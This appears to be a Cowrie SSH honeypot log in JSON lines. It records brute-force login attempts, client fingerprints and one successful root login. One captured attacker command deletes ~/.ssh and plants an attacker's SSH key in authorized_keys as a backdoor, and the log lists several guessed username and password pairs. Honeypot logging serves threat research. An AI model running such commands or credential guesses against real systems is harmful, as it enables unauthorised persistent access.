{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f","size":10,"shasum":"96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:04:46.043694Z","src_ip":"78.128.112.74","session":"5fdc78f13f35","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:04:46.357131Z","src_ip":"27.72.31.207","session":"1e3f5dcf9a35","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:04:46.361101Z","src_ip":"27.72.31.207","session":"1e3f5dcf9a35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:04:46.388817Z","src_ip":"78.128.112.74","session":"5fdc78f13f35","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:04:46.630618Z","src_ip":"27.72.31.207","session":"1e3f5dcf9a35","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:04:46.634380Z","src_ip":"27.72.31.207","session":"1e3f5dcf9a35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.72.31.207","src_port":58698,"dst_ip":"10.17.0.5","dst_port":22,"session":"26bbbad7a359","protocol":"ssh","message":"New connection: 27.72.31.207:58698 (10.17.0.5:22) [session: 26bbbad7a359]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:04:46.891115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:04:46.895329Z","src_ip":"27.72.31.207","session":"26bbbad7a359","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:04:47.162316Z","src_ip":"27.72.31.207","session":"26bbbad7a359","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:04:48.263237Z","src_ip":"27.72.31.207","session":"26bbbad7a359","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:04:49.532634Z","src_ip":"27.72.31.207","session":"26bbbad7a359","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.72.31.207","src_port":54662,"dst_ip":"10.17.0.5","dst_port":22,"session":"5dea1c6979d9","protocol":"ssh","message":"New connection: 27.72.31.207:54662 (10.17.0.5:22) [session: 5dea1c6979d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:04:49.777072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:04:49.780491Z","src_ip":"27.72.31.207","session":"5dea1c6979d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:04:50.033267Z","src_ip":"27.72.31.207","session":"5dea1c6979d9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:04:51.079340Z","src_ip":"27.72.31.207","session":"5dea1c6979d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:04:51.335646Z","src_ip":"27.72.31.207","session":"5dea1c6979d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:04:51.344613Z","src_ip":"27.72.31.207","session":"1e3f5dcf9a35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.121.120.129","src_port":52852,"dst_ip":"10.17.0.5","dst_port":22,"session":"1756e11ed556","protocol":"ssh","message":"New connection: 85.121.120.129:52852 (10.17.0.5:22) [session: 1756e11ed556]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:05:10.357432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:05:10.363539Z","src_ip":"85.121.120.129","session":"1756e11ed556","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:05:10.442173Z","src_ip":"85.121.120.129","session":"1756e11ed556","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sansforensics","password":"Sansforensics123!","message":"login attempt [sansforensics/Sansforensics123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:05:10.787165Z","src_ip":"85.121.120.129","session":"1756e11ed556","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:05:11.867794Z","src_ip":"85.121.120.129","session":"1756e11ed556","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.147.124","src_port":54640,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ed12a47e093","protocol":"ssh","message":"New connection: 160.187.147.124:54640 (10.17.0.5:22) [session: 7ed12a47e093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:05:28.204774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:05:28.210199Z","src_ip":"160.187.147.124","session":"7ed12a47e093","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:05:28.457921Z","src_ip":"160.187.147.124","session":"7ed12a47e093","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"valerie","password":"valerievalerie","message":"login attempt [valerie/valerievalerie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:05:29.493323Z","src_ip":"160.187.147.124","session":"7ed12a47e093","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:05:30.744926Z","src_ip":"160.187.147.124","session":"7ed12a47e093","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.32.71.132","src_port":45886,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed96a6ca9258","protocol":"ssh","message":"New connection: 36.32.71.132:45886 (10.17.0.5:22) [session: ed96a6ca9258]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:05:40.530755Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:05:40.770231Z","src_ip":"36.32.71.132","session":"ed96a6ca9258","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.123.78","src_port":54008,"dst_ip":"10.17.0.5","dst_port":22,"session":"997b810574c0","protocol":"ssh","message":"New connection: 160.22.123.78:54008 (10.17.0.5:22) [session: 997b810574c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:06:11.575846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:06:11.579275Z","src_ip":"160.22.123.78","session":"997b810574c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:06:11.826256Z","src_ip":"160.22.123.78","session":"997b810574c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jessalyn","password":"12345","message":"login attempt [jessalyn/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:06:12.849849Z","src_ip":"160.22.123.78","session":"997b810574c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:06:14.099843Z","src_ip":"160.22.123.78","session":"997b810574c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":58607,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f9357bb3f81","protocol":"ssh","message":"New connection: 213.209.159.159:58607 (159.203.135.109:22) [session: 8f9357bb3f81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:06:57.348511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:07:00.984986Z","src_ip":"213.209.159.159","session":"8f9357bb3f81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:07:01.063210Z","src_ip":"213.209.159.159","session":"8f9357bb3f81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maricela","password":"maricela","message":"login attempt [maricela/maricela] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:07:01.462870Z","src_ip":"213.209.159.159","session":"8f9357bb3f81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maricela","password":"maricela1","message":"login attempt [maricela/maricela1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:07:02.552780Z","src_ip":"213.209.159.159","session":"8f9357bb3f81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maricela","password":"maricela123","message":"login attempt [maricela/maricela123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:07:03.636838Z","src_ip":"213.209.159.159","session":"8f9357bb3f81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maricela","password":"maricela1234","message":"login attempt [maricela/maricela1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:07:04.720526Z","src_ip":"213.209.159.159","session":"8f9357bb3f81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maricela","password":"maricela12345","message":"login attempt [maricela/maricela12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:07:05.803579Z","src_ip":"213.209.159.159","session":"8f9357bb3f81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.5","message":"Connection lost after 9.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:07:06.887426Z","src_ip":"213.209.159.159","session":"8f9357bb3f81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.147.124","src_port":33198,"dst_ip":"10.17.0.5","dst_port":22,"session":"a599a045a2b4","protocol":"ssh","message":"New connection: 160.187.147.124:33198 (10.17.0.5:22) [session: a599a045a2b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:07:37.992881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:07:37.997619Z","src_ip":"160.187.147.124","session":"a599a045a2b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:07:38.237525Z","src_ip":"160.187.147.124","session":"a599a045a2b4","protocol":"ssh"}
